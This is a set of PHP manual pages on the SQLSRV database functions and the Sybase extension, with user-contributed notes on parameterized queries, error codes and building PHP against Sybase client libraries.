$myparams['Item_Name'] = "Foo";

// Set up the proc params array - be sure to pass the param by reference
$procedure_params = array(
 array(&$myparams['Item_ID'], SQLSRV_PARAM_OUT),
 array(&$myparams['Item_Name'], SQLSRV_PARAM_OUT)
);

// EXEC the procedure, {call stp_Create_Item (@Item_ID = ?, @Item_Name = ?)} seems to fail with various errors in my experiments
$sql = "EXEC stp_Create_Item @Item_ID = ?, @Item_Name = ?";

$stmt = sqlsrv_prepare($conn, $sql, $procedure_params);

if( !$stmt ) {
 die( print_r( sqlsrv_errors(), true));
}

if(sqlsrv_execute($stmt)){
  while($res = sqlsrv_next_result($stmt)){
    // make sure all result sets are stepped through, since the output params may not be set until this happens
  }
  // Output params are now set,
  print_r($params);
  print_r($myparams);
}else{
  die( print_r( sqlsrv_errors(), true));
}
?>


Prepares and executes a query.

  • « sqlsrv_prepare
  • sqlsrv_rollback »
  • PHP Manual
  • SQLSRV Functions
  • Prepares and executes a query.

sqlsrv_query

(No version information available, might only be in Git)

sqlsrv_query — Prepares and executes a query.

Description

mixed sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] )

Prepares and executes a query.

Parameters

conn

A connection resource returned by sqlsrv_connect().

sql

The string that defines the query to be prepared and executed.

params

An array specifying parameter information when executing a parameterized query. Array elements can be any of the following:

  • A literal value
  • A PHP variable
  • An array with this structure: array($value [, $direction [, $phpType [, $sqlType]]])
The following table describes the elements in the array structure above:

Array structure
Element | Description
$value | A literal value, a PHP variable, or a PHP by-reference variable.
$direction (optional) | One of the following SQLSRV constants used to indicate the parameter direction: SQLSRV_PARAM_IN, SQLSRV_PARAM_OUT, SQLSRV_PARAM_INOUT. The default value is SQLSRV_PARAM_IN.
$phpType (optional) | A SQLSRV_PHPTYPE_* constant that specifies PHP data type of the returned value.
$sqlType (optional) | A SQLSRV_SQLTYPE_* constant that specifies the SQL Server data type of the input value.
options

An array specifing query property options. The supported keys are described in the following table:

Query Options
Key | Values | Description
QueryTimeout | A positive integer value. | Sets the query timeout in seconds. By default, the driver will wait indefinitely for results.
SendStreamParamsAtExec | TRUE or FALSE (the default is TRUE) | Configures the driver to send all stream data at execution (TRUE), or to send stream data in chunks (FALSE). By default, the value is set to TRUE. For more information, see sqlsrv_send_stream_data().
Scrollable | SQLSRV_CURSOR_FORWARD, SQLSRV_CURSOR_STATIC, SQLSRV_CURSOR_DYNAMIC, or SQLSRV_CURSOR_KEYSET | See » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

Return Values

Returns a statement resource on success and FALSE if an error occurred.

Examples

Example #1 sqlsrv_query() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "INSERT INTO Table_1 (id, data) VALUES (?, ?)";
$params = array(1, "some data");

$stmt = sqlsrv_query( $conn, $sql, $params);
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}
?>

Notes

For statements that you plan to execute only once, use sqlsrv_query(). If you intend to re-execute a statement with different parameter values, use the combination of sqlsrv_prepare() and sqlsrv_execute().

See Also

  • sqlsrv_prepare() - Prepares a query for execution
  • sqlsrv_execute() - Executes a statement prepared with sqlsrv_prepare

User Contributed Notes

bill_spam0001 at yahoo dot com 28-May-2013 08:32
If you are getting an error while attempting to execute your query, and the output of sqlsrv_errors(SQLSRV_ERR_ERRORS) is this:

SQLSTATE: IMSSP
code: -14
message: An invalid parameter was passed to sqlsrv_query.

You have failed to pass a valid parameter to sqlsrv_query itself, which could be one of three parameters:
Connection: a valid handled for a SQL Server Connection
Query: a valid string containing your query, with placeholders for parameters:"(?)"
Parameters: An Array containing the values for your query parameters.  (optional, but much match the number of placeholders in your Query.

I could not find any information about this error, and it turned out to be a missing connection parameter. In my case I found I had typed "$connn" instead of "$conn" in the code:
if ($stmt=sqlsrv_query($conn, $sql, $params)) { ...

While this seems like a total "noobie" thing to do, the fact of the matter is there is very little information about this SQL Server Error message itself. So, the plain meaning of SQLSTATE "IMSSP", CODE "-14" is that you provided no valid connection object to your sqlsrv_query function.

This message may appear baffling, especially if you have several occurrences of sqlsrv_query on a page, and you may have added a new occurrence after you closed your connection.

Since I wasted an enormous amount of time tracing the normal channels, I thought referencing this error here would provide some help. In was hung up on "parameter" and was thinking it was a bad parameter object, and overlooked passing an undefined connection object to sqlsrv_query
oleg at mastak dot fi 13-Nov-2012 04:31
If you hit an error "[Microsoft][ODBC Driver Manager] Invalid cursor state " when you specify valid Scrollable cursor, please check following bug report:

https://bugs.php.net/bug.php?id=63498

There is currently a bug that requires options Scrollable to be specified before QueryTimeout in corresponding array.
bill_spam0001 at yahoo dot com 28-Feb-2012 05:42
Tip: It may seem obvious, but you need to trim your strings down to fit in the database field you are saving them to via a parametrized query or a stored procedure. (IE: only submit up to 20 characters to a VARCHAR(20) database field). If you send a larger string to the query then it can handle, you will get an error.

When cleaning up your strings, you will most likely find yourself using the php substr() function. This function will return, as documented, a boolean FALSE value when presented with an empty string. Not minding this boolean FALSE value will cause "0" to be saved in your database tables instead of an empty string.

Since trimming your input is also important, the simple and intuitive solution for this is to trim your substr() output, which will consistently supply and empty string, not boolean FALSE.

So this will always work:
<?php
//trim last returns our empty string as a data type of string
$address_line_2 = trim(substr($_POST['addr2']),0,30));

echo gettype($address_line_2);  //outputs string

//executing a database query will save "" in field tblAddressBook.addr2
$sql = "update tblAddressBook set name=(?), addr1=(?), addr2=(?),..."
$params = array($name, $address_line_1, $address_line_2, ...)
$sql_srv_query($db_conn, $sql, $params);

?>
This second way will give seemingly unexpected data in your database.
<?php
//if the result of trimming our post variable is "" (empty), substr() will return FALSE
$address_line_2 = substr(trim($_POST['addr2'])),0,30);

//$address_line_2 actually === FALSE, not ""
echo gettype($address_line_2);  //outputs boolean

//executing a database query will save "0" in field tblAddressBook.addr2
$sql = "update tblAddressBook set name=(?), addr1=(?), addr2=(?),..."
$params = array($name, $address_line_1, $address_line_2, ...)
$sql_srv_query($db_conn, $sql, $params);

?>

You can also cast the type as a string using,
which will cast the boolean false back to the expected Empty String.
<?php

$address_line_2 = (string)substr(trim($_POST['addr2'])),0,30);

echo gettype($address_line_2);  //outputs string

//executing a database query will save "" in field tblAddressBook.addr2
$sql = "update tblAddressBook set name=(?), addr1=(?), addr2=(?),..."
$params = array($name, $address_line_1, $address_line_2, ...)
$sql_srv_query($db_conn, $sql, $params);

?>

I didn't notice this behavior until switching to IIS7, PHP 5.3.8 and SQL Server 2008.  But the behavior also is exhibited with IIS7, PHP 5.2 and SQL Server 2008.


Rolls back a transaction that was begun with sqlsrv_begin_transaction

  • « sqlsrv_query
  • sqlsrv_rows_affected »
  • PHP Manual
  • SQLSRV Functions
  • Rolls back a transaction that was begun with sqlsrv_begin_transaction

sqlsrv_rollback

(No version information available, might only be in Git)

sqlsrv_rollback — Rolls back a transaction that was begun with sqlsrv_begin_transaction()

Description

bool sqlsrv_rollback ( resource $conn )

Rolls back a transaction that was begun with sqlsrv_begin_transaction() and returns the connection to auto-commit mode.

Parameters

conn

The connection resource returned by a call to sqlsrv_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_rollback() example

The following example demonstrates how to use sqlsrv_begin_transaction() together with sqlsrv_commit() and sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true ));
}

/* Begin the transaction. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
     die( print_r( sqlsrv_errors(), true ));
}

/* Initialize parameter values. */
$orderId = 1; $qty = 10; $productId = 100;

/* Set up and execute the first query. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
         VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Set up and execute the second query. */
$sql2 = "UPDATE InventoryTable
         SET Quantity = (Quantity - ?)
         WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* If both queries were successful, commit the transaction. */
/* Otherwise, rollback the transaction. */
if( $stmt1 && $stmt2 ) {
     sqlsrv_commit( $conn );
     echo "Transaction committed.<br />";
} else {
     sqlsrv_rollback( $conn );
     echo "Transaction rolled back.<br />";
}
?>

See Also

  • sqlsrv_begin_transaction() - Begins a database transaction
  • sqlsrv_commit() - Commits a transaction that was begun with sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

  • « sqlsrv_rollback
  • sqlsrv_send_stream_data »
  • PHP Manual
  • SQLSRV Functions
  • Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

sqlsrv_rows_affected

(No version information available, might only be in Git)

sqlsrv_rows_affected — Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

Description

int sqlsrv_rows_affected ( resource $stmt )

Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed. For information about the number of rows returned by a SELECT query, see sqlsrv_num_rows().

Parameters

stmt

The executed statement resource for which the number of affected rows is returned.

Return Values

Returns the number of rows affected by the last INSERT, UPDATE, or DELETE query. If no rows were affected, 0 is returned. If the number of affected rows cannot be determined, -1 is returned. If an error occurred, FALSE is returned.

Examples

Example #1 sqlsrv_rows_affected() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1 SET data = ? WHERE id = ?";

$params = array("updated data", 1);

$stmt = sqlsrv_query( $conn, $sql, $params);

$rows_affected = sqlsrv_rows_affected( $stmt);
if( $rows_affected === false) {
     die( print_r( sqlsrv_errors(), true));
} elseif( $rows_affected == -1) {
      echo "No information available.<br />";
} else {
      echo $rows_affected." rows were updated.<br />";
}
?>

See Also

  • sqlsrv_num_rows() - Retrieves the number of rows in a result set

User Contributed Notes

There are no user contributed notes for this page.


Sends data from parameter streams to the server

  • « sqlsrv_rows_affected
  • sqlsrv_server_info »
  • PHP Manual
  • SQLSRV Functions
  • Sends data from parameter streams to the server

sqlsrv_send_stream_data

(No version information available, might only be in Git)

sqlsrv_send_stream_data — Sends data from parameter streams to the server

Description

bool sqlsrv_send_stream_data ( resource $stmt )

Send data from parameter streams to the server. Up to 8 KB of data is sent with each call.

Parameters

stmt

A statement resource returned by sqlsrv_query() or sqlsrv_execute().

Return Values

Returns TRUE if there is more data to send and FALSE if there is not.

Examples

Example #1 sqlsrv_send_stream_data() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1 SET data = ( ?) WHERE id = 100";

// Open parameter data as a stream and put it in the $params array.
$data = fopen( "data://text/plain,[ Lengthy content here. ]", "r");
$params = array( &$data);

// Prepare the statement. Use the $options array to turn off the
// default behavior, which is to send all stream data at the time of query
// execution.
$options = array("SendStreamParamsAtExec"=>0);
$stmt = sqlsrv_prepare( $conn, $sql, $params, $options);

sqlsrv_execute( $stmt);

// Send up to 8K of parameter data to the server
// with each call to sqlsrv_send_stream_data.
$i = 1;
while( sqlsrv_send_stream_data( $stmt)) {
      $i++;
}
echo "$i calls were made.";
?>

See Also

  • sqlsrv_prepare() - Prepares a query for execution
  • sqlsrv_query() - Prepares and executes a query.

User Contributed Notes

There are no user contributed notes for this page.


Returns information about the server

  • « sqlsrv_send_stream_data
  • Sybase »
  • PHP Manual
  • SQLSRV Functions
  • Returns information about the server

sqlsrv_server_info

(No version information available, might only be in Git)

sqlsrv_server_info — Returns information about the server

Description

array sqlsrv_server_info ( resource $conn )

Returns information about the server.

Parameters

conn

The connection resource that connects the client and the server.

Return Values

Returns an array as described in the following table:

Returned Array
CurrentDatabase | The connected-to database.
SQLServerVersion | The SQL Server version.
SQLServerName | The name of the server.

Examples

Example #1 sqlsrv_server_info() example

<?php
$serverName = "serverName\sqlexpress";
$conn = sqlsrv_connect( $serverName);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$server_info = sqlsrv_server_info( $conn);
if( $server_info )
{
    foreach( $server_info as $key => $value) {
       echo $key.": ".$value."<br />";
    }
} else {
      die( print_r( sqlsrv_errors(), true));
}
?>

See Also

  • sqlsrv_client_info() - Returns information about the client and specified connection

User Contributed Notes

There are no user contributed notes for this page.


Sybase

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Sybase Functions
    • sybase_affected_rows — Gets number of affected rows in last query
    • sybase_close — Closes a Sybase connection
    • sybase_connect — Opens a Sybase server connection
    • sybase_data_seek — Moves internal row pointer
    • sybase_deadlock_retry_count — Sets the deadlock retry count
    • sybase_fetch_array — Fetch row as array
    • sybase_fetch_assoc — Fetch a result row as an associative array
    • sybase_fetch_field — Get field information from a result
    • sybase_fetch_object — Fetch a row as an object
    • sybase_fetch_row — Get a result row as an enumerated array
    • sybase_field_seek — Sets field offset
    • sybase_free_result — Frees result memory
    • sybase_get_last_message — Returns the last message from the server
    • sybase_min_client_severity — Sets minimum client severity
    • sybase_min_error_severity — Sets minimum error severity
    • sybase_min_message_severity — Sets minimum message severity
    • sybase_min_server_severity — Sets minimum server severity
    • sybase_num_fields — Gets the number of fields in a result set
    • sybase_num_rows — Get number of rows in a result set
    • sybase_pconnect — Open persistent Sybase connection
    • sybase_query — Sends a Sybase query
    • sybase_result — Get result data
    • sybase_select_db — Selects a Sybase database
    • sybase_set_message_handler — Sets the handler called when a server message is raised
    • sybase_unbuffered_query — Send a Sybase query and do not block

User Contributed Notes

There are no user contributed notes for this page.


Introduction

User Contributed Notes

There are no user contributed notes for this page.


Installation

To enable Sybase-DB support configure PHP --with-sybase[=DIR] . DIR is the Sybase home directory, defaults to /home/sybase. To enable Sybase-CT support configure PHP --with-sybase-ct[=DIR] . DIR is the Sybase home directory, defaults to /home/sybase.

Note:

As of PHP 5.3.0, the Sybase extension has been superseded by the sybase_ct extension and is no longer maintained. To continue using sybase you must use the sybase_ct extension.

User Contributed Notes

thomas dot vequaud+spam at gmail dot com 29-Oct-2014 09:01
"L'extension a été remplacé" <= "ée" c'est mieux


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Sybase configuration options
Name | Default | Changeable | Changelog
sybase.allow_persistent | "1" | PHP_INI_ALL | PHP_INI_ALL in PHP <= 4.0.2. PHP_INI_SYSTEM in PHP <= 4.0.3.
sybase.max_persistent | "-1" | PHP_INI_ALL | PHP_INI_ALL in PHP <= 4.0.2. PHP_INI_SYSTEM in PHP <= 4.0.3.
sybase.max_links | "-1" | PHP_INI_ALL | PHP_INI_ALL in PHP <= 4.0.2. PHP_INI_SYSTEM in PHP <= 4.0.3.
sybase.interface_file | "/usr/sybase/interfaces" | PHP_INI_SYSTEM |
sybase.min_error_severity | "10" | PHP_INI_ALL |
sybase.min_message_severity | "10" | PHP_INI_ALL |
sybase.compatability_mode | "0" | PHP_INI_ALL |
magic_quotes_sybase | "0" | PHP_INI_ALL | Deprecated in PHP 5.3.0. Removed in PHP 5.4.0.

Here's a short explanation of the configuration directives.

sybase.allow_persistent boolean

Whether to allow persistent Sybase connections.

sybase.max_persistent integer

The maximum number of persistent Sybase connections per process. -1 means no limit.

sybase.max_links integer

The maximum number of Sybase connections per process, including persistent connections. -1 means no limit.

sybase.min_error_severity integer

Minimum error severity to display.

sybase.min_message_severity integer

Minimum message severity to display.

magic_quotes_sybase boolean

If magic_quotes_sybase is on, a single-quote is escaped with a single-quote instead of a backslash if magic_quotes_gpc or magic_quotes_runtime are enabled. This setting is also respected by addslashes() and stripslashes().

Note:

Note that when magic_quotes_sybase is ON it completely overrides magic_quotes_gpc . In this case even when magic_quotes_gpc is enabled neither double quotes, backslashes or NUL's will be escaped.

Warning

This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

Sybase-CT configuration options
Name | Default | Changeable | Changelog
sybct.allow_persistent | "1" | PHP_INI_SYSTEM | PHP_INI_ALL in PHP <= 4.0.2. Available since PHP 4.0.2. Removed in PHP 4.0.3.
sybct.max_persistent | "-1" | PHP_INI_SYSTEM | PHP_INI_ALL in PHP <= 4.0.2. Available since PHP 4.0.2. Removed in PHP 4.0.3.
sybct.max_links | "-1" | PHP_INI_SYSTEM | PHP_INI_ALL in PHP <= 4.0.2. Available since PHP 4.0.2. Removed in PHP 4.0.3.
sybct.min_server_severity | "10" | PHP_INI_ALL | Available since PHP 4.0.2. Removed in PHP 4.0.3.
sybct.min_client_severity | "10" | PHP_INI_ALL | Available since PHP 4.0.2. Removed in PHP 4.0.3.
sybct.hostname | NULL | PHP_INI_ALL | Available since PHP 4.0.2. Removed in PHP 4.0.3.
sybct.deadlock_retry_count | "0" | PHP_INI_ALL | Available since PHP 4.3.0.

Here's a short explanation of the configuration directives.

sybct.allow_persistent boolean

Whether to allow persistent Sybase-CT connections. The default is on.

sybct.max_persistent integer

The maximum number of persistent Sybase-CT connections per process. The default is -1 meaning unlimited.

sybct.max_links integer

The maximum number of Sybase-CT connections per process, including persistent connections. The default is -1 meaning unlimited.

sybct.min_server_severity integer

Server messages with severity greater than or equal to sybct.min_server_severity will be reported as warnings. This value can also be set from a script by calling sybase_min_server_severity(). The default is 10 which reports errors of information severity or greater.

sybct.min_client_severity integer

Client library messages with severity greater than or equal to sybct.min_client_severity will be reported as warnings. This value can also be set from a script by calling sybase_min_client_severity(). The default is 10 which effectively disables reporting.

sybct.login_timeout integer

The maximum time in seconds to wait for a connection attempt to succeed before returning failure. Note that if max_execution_time has been exceeded when a connection attempt times out, your script will be terminated before it can take action on failure. The default is one minute.

sybct.timeout integer

The maximum time in seconds to wait for a select_db or query operation to succeed before returning failure. Note that if max_execution_time has been exceeded when an operation times out, your script will be terminated before it can take action on failure. The default is no limit.

sybct.hostname string

The name of the host you claim to be connecting from, for display by sp_who. The default is none.

sybct.deadlock_retry_count int

Allows you to define how often deadlocks are to be retried. The default is 0, value -1 means "forever".

For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.


Sybase Functions

Table of Contents

  • sybase_affected_rows — Gets number of affected rows in last query
  • sybase_close — Closes a Sybase connection
  • sybase_connect — Opens a Sybase server connection
  • sybase_data_seek — Moves internal row pointer
  • sybase_deadlock_retry_count — Sets the deadlock retry count
  • sybase_fetch_array — Fetch row as array
  • sybase_fetch_assoc — Fetch a result row as an associative array
  • sybase_fetch_field — Get field information from a result
  • sybase_fetch_object — Fetch a row as an object
  • sybase_fetch_row — Get a result row as an enumerated array
  • sybase_field_seek — Sets field offset
  • sybase_free_result — Frees result memory
  • sybase_get_last_message — Returns the last message from the server
  • sybase_min_client_severity — Sets minimum client severity
  • sybase_min_error_severity — Sets minimum error severity
  • sybase_min_message_severity — Sets minimum message severity
  • sybase_min_server_severity — Sets minimum server severity
  • sybase_num_fields — Gets the number of fields in a result set
  • sybase_num_rows — Get number of rows in a result set
  • sybase_pconnect — Open persistent Sybase connection
  • sybase_query — Sends a Sybase query
  • sybase_result — Get result data
  • sybase_select_db — Selects a Sybase database
  • sybase_set_message_handler — Sets the handler called when a server message is raised
  • sybase_unbuffered_query — Send a Sybase query and do not block

User Contributed Notes

tgburrin 19-Jul-2010 09:41
For ASE 15 you can run $SYBASE/$SYBASE_OCS/scripts/lnsyblibs to create symlinks for the older library names.  Using this instead of cp will presumably not break your installation should you apply something like an EBF.
jeffersonmfs at hotmail dot com 08-Aug-2007 02:52
PHP and Sybase 15

# cat /opt/sybase/SYBASE.sh >> /etc/profile
# exit

Make new logon

# vi /var/build/php-5.2.3/ext/sybase_ct/php_sybase_ct.h

change this line ...
#define CTLIB_VERSION CS_VERSION_100
...to...
#define CTLIB_VERSION CS_VERSION_150

# ln -sd /opt/sybase /home/sybase

# cp /opt/sybase/OCS-15_0/lib/libsybcomn.a     /opt/sybase/OCS-15_0/lib/libcomn.a

# cp /opt/sybase/OCS-15_0/lib/libsybcs.a     /opt/sybase/OCS-15_0/lib/libs.a

# cp /opt/sybase/OCS-15_0/lib/libsybct.a     /opt/sybase/OCS-15_0/lib/libct.a

# cp /opt/sybase/OCS-15_0/lib/libsybintl.a     /opt/sybase/OCS-15_0/lib/libintl.a

The new  file  /etc/ld.so.conf.d/sybase it must have the line

            /opt/sybase/OCS-15_0/lib

# ldconfig

            BUILD PHP

# ./configure --with-apxs2=/usr/sbin/apxs --with-config-file-path=/etc/ --with-sybase-ct=/opt/sybase/OCS-15_0

# make

# make install

# cp php.ini-dist  /etc/php.ini

Change display_erros=On to display_erros=Off

Edit Apache's httpd.conf file to associate .php files with a MIME type:

#
# PHP script support
#
AddType application/x-httpd-php .php
sean dot healey at bayernlb dot co dot uk 28-Oct-2005 12:42
I've finally got PHP 5.0.5 running under Apache2 on Solaris 8 ... connecting to Sybase ASE servers 12.0 and 12.5 using CT-LIB 12.5.

The following was my build procedure -

Build Apache:

./configure \
  --prefix=/usr/local/apache2 \
  --enable-so

make
make install

Edit httpd.conf, adjusting directives to suit the local environment.

Following advice given above, update the Sybase version string in the PHP sybase_ct module header file:

vi /var/build/php-5.0.5/ext/sybase_ct/php_sybase_ct.h

change this line ...
#define CTLIB_VERSION CS_VERSION_100
...to...
#define CTLIB_VERSION CS_VERSION_125

Build PHP:

SYBASE=/..../..../sybase12_5  <<-- path to your Sybase distribution root
SYBASE_OCS=OCS-12_5
LD_LIBRARY_PATH=$SYBASE/$SYBASE_OCS/lib

export SYBASE SYBASE_OCS PATH LD_LIBRARY_PATH

./configure \
  --prefix=/usr/local/php \
  --with-sybase-ct=$SYBASE/$SYBASE_OCS \
  --enable-static=sybase-ct \
  --with-apxs2=/usr/local/apache2/bin/apxs \
  --enable-sysvmsg \
  --enable-sysvsem \
  --enable-sysvshm

make
make test

NOTE: 'make test' will almost certainly fail all of the Sybase functionality, unless you update the test include file to use valid connectivity details for your local server:

vi /var/build/php-5.0.5/ext/sybase_ct/tests/test.inc

  // Change if needed
  define('HOST',     '****');
  define('USER',     '****');
  define('PASSWORD', '****');

make install

Edit Apache's httpd.conf file to associate .php files with a MIME type:

  #
  # PHP script support
  #
  AddType application/x-httpd-php .php .phtml
  AddType application/x-httpd-php-source .phps

Edit the apachectl script, inserting the following variable declarations after environment variables are imported:

  SYBASE=/..../..../sybase12_5
  SYBASE_OCS=OCS-12_5
  LD_LIBRARY_PATH=$SYBASE/$SYBASE_OCS/lib:$LD_LIBRARY_PATH
  export SYBASE SYBASE_OCS LD_LIBRARY_PATH

Ensure you have an 'interfaces' file in the root of your sybase distribution (Above the OCS-12_5 subdirectory), containing a server entry in the following format for each server you want to connect to:

  dataservername_ds
   <tab> master tcp ether <hostname> <port>
   <tab> query tcp ether <hostname> <port>

(if this is your dataserver machine, there will be at least 1 entry already for the local dataserver. It is advisable to install all of the above on a separate machine though, with its own copy of the sybase client)

Cross fingers, and:

apachectl start

If you get 'relocation' errors when starting Apache with the php module configured to load, check the output of 'ldd libphp5.so'. Each of the Sybase libraries should link to files under your Sybase client distribution:

ldd /usr/local/apache2/modules/libphp5.so
    libtcl.so =>     /.../sybase12_5/OCS-12_5/lib/libtcl.so
    libintl.so.1 => /.../sybase12_5/OCS-12_5/lib/libintl.so.1
    libcomn.so => /.../sybase12_5/OCS-12_5/lib/libcomn.so
    libct.so =>      /.../sybase12_5/OCS-12_5/lib/libct.so
    libcs.so =>      /.../sybase12_5/OCS-12_5/lib/libcs.so
    ...
   <snip other libraries>
    ...

If you see 'libintl.so' linking anywhere else, this is likely because the PHP build has incorrectly linked to a slightly different filename - libintl.so.1 - which doesn't exist in the Sybase client. Unfortunately a completely unrelated library of the same name does exist elsewhere in Unix! (Apparently the Sybase version was created before the duplicate was introduced into Unix).

My workaround was to create the following symlink in sybase client library 'lib' directory -

  libintl.so.1 -> ./libintl.so*

'make distclean' in your PHP build directory, and repeat the build as above.
zeldorblat at gmail dot com 18-Sep-2005 10:43
In response to the post by jon dot bertsch at ucop dot edu, it is possible to install both the FreeTDS libraries and the Sybase libraries.  The problem is that the Sybase extension alias's its function names to the mssql_ functions.

Take a look in your PHP source directory under /ext/sybase_ct/php_sybase_ct.c near the top where the sybase_functions[] declaration is.  You can comment out the part that alias's the function names, recompile with FreeTDS and Sybase, and you're all set!
jon dot bertsch at ucop dot edu 24-Jun-2005 08:41
Up to php 5.0.4 you cannot install both sybase and mssql (they use the same function names). It turns out though that if you use the Freetds library you can connect to sybase using the mssql functions (and visa versa I assume). Setup your servers in the freetds.conf file (for sybase use specify version 5.0, for mssql 7 or 8.0) and call the database connection as you would with mssql (mssql_conect). You should be able to connect either sql server or sybase. I don't know if all sybase functions will work as expected but basic querying is succesful. Hope this helps someone.
punkarruso at despammed dot com 14-Dec-2004 02:50
I just want to report that, like explained in bug #27562, selective stored procedures (like sp_helpdb) don't return a resultset with freeTDS >= 0.62. (using php <= 4.3.9)
If you have installed such releases of freeTDS, downgrade to 0.61.x.
matt dot sawyer at gmail dot com 30-Nov-2004 05:46
I've noticed (after days of frustration) that setting the sybase.interface_file to a location other than the default ($SYBASE/interfaces) in php.ini doesn't always work.  I finally gave up and copied my interface entries to the default location, and it works consistently now.  (This is even with sybase.interface_file still set to the non-default location).
greg dot fenton at ianywhere dot com 22-Nov-2004 11:07
For Sybase/iAnywhere SQL Anywhere (a.k.a Adaptive Server Anywhere, a.k.a. ASA), you likely should try the SQLAnywhere PHP module [which now ships with ASA as of 9.0.2]:

    http://www.ianywhere.com/developer/code_samples/sqlany_php_module.html

ASA can work with TDS (Open Client), but if performance is something you care about you likely want to use the native ASA interface.  For info/help, consider posting to sybase.public.sqlanywhere.general or sybase.public.sqlanywhere.linux  (http://www.ianywhere.com/support/newsgroups.html)

Hope this helps,
greg.fenton
info(at)sovall(dot)cz 04-Aug-2004 01:10
This is way to compile Sybase ASE 12.5 with PHP5.0.0 and Apache 2 on Linux:
- install apache
- install ase1252_de_linux.tgz to /opt/sybase-12.5
- shell:# ln -s /opt/sybase-12.5 /opt/sybase
- edit phpsrc/configure and remove all '-linsck'
- edit phpsrc/ext/sybase-ct/php_sybase_ct.h and change CTLIB_VERSION CS_VERSION_100 to 125
- shell:# export SYBASE=/opt/sybase
- phpsrc/configure --with-sybase-ct=/opt/sybase/OCS-12_5
- phpsrc/make and make install
- edit apache2/conf/httpd.conf and add AddType... .php
- create /opt/sybase/interfaces file
SERVERNAME
[tab!]master tcp ether ipAddress port
[tab!]query tcp ether ipAddress port
- apache2/bin/apachectl start

I hope, that I save your time.
1rsv_sign_mail.ru (stas_aka_rsv) 24-Mar-2004 07:20
There is a way how to force php work with both php_mssql.dll and php_sybase_ct.dll. Just open php_sybase_ct.dll in any editor (dont use MS WORD :0) ) and replace all "mssql_" on something like that "masql_".
After that there will not be warnings about double function definitions and php can use php_sybase_ct.dll to access to sybase and php_mssql.dll to access to mssql.
The reason why I did such thing is that I couldnt connect to mssql using php_sybase_ct.dll.
ms at klmoberg dot no 15-Mar-2004 02:10
I solved my connection problems by setting ENV variables directly in PHP.

putenv ("SYBASE=/opt/sybase");
putenv ("SYBPLATFORM=linux");
putenv ("LD_LIBRARY_PATH=/opt/sybase/lib");
putenv ("LC_ALL=default");
putenv ("PATH=\"/opt/sybase/bin:$PATH\"");
putenv ("DSQUERY=SYBASE");

--
Martin Sarajervi
ddc at portalframework dot com 07-Oct-2002 03:05
If you would like to use the wide table support of Sybase ASE 12.5, take advantage of XML/XQL embedded in the database and use varchars of more than 255 char, you'll need to recompile PHP changing this line in the
    php_sybase_ct.h file:

From:

#define CTLIB_VERSION CS_VERSION_100

To:

#define CTLIB_VERSION CS_VERSION_125

This will only run if you have installed Sybase ASE Open Client v. 12.5 and configured PHP telling it where the OCS is... (./configure --with-sybase-ct=$SYBASE_HOME/OCS [...])

--
Diego Dal Cero.
aj at bootsector dot org 04-Sep-2002 11:10
A note for all who may be struggling...  Microsoft did away with the ct-lib support in SQL Server 2000.

I played with it and found a couple of articles related to it on google.  A workaround/different method would be preferrable.  Anybody?
ddc at portalframework.com 14-May-2002 08:19
Compiling PHP with Sybase ASE 12.5 on Linux.

Assuming that you have installed the Sybase ASE 12.5 client in linux, and you have the SYBASE env variable set, you can compile PHP >= 4.0.6 with Sybase ASE 12.5.
Just use:

  --with-sybase-ct=$SYBASE/OCS
instead of
  --with-sybase-ct=$SYBASE
elee at kinwai dot net 15-Apr-2002 11:28
Freetds 5.2 bugs!!

For those who use Freetds 5.2 running under linux connect to sqlserver2000, there is a bugs in selecting NVARCHAR field that data will either duplicated or truncated. To avoid this problem, please use CAST or CONVERT function in sql statement such as:
$query="select CAST(fieldname as nchar(1000)) as fieldname from table"

Feel free to contact us at
aikok@netfront.net
or
elee@kinwai.net

German Chu & Eagle Lee
basilio_mail at chat dot ru 26-Oct-2001 12:56
For those, who might want to use SyBase client not only under Linux, you may try to use open-source FreeTDS library - http://www.freetds.org

Also there's how-to for FreeTDS and PHP:
http://www.freetds.org/userguide/php.html
borreo at softhome dot net 14-Sep-2001 08:29
If you have a Linux machine with Sybase ASE 11.9.2, Php 4.0.6, Apache and Sybase-ct library, don't upgrade to Sybase ASE 12.5 yet, or Apache will stop working.
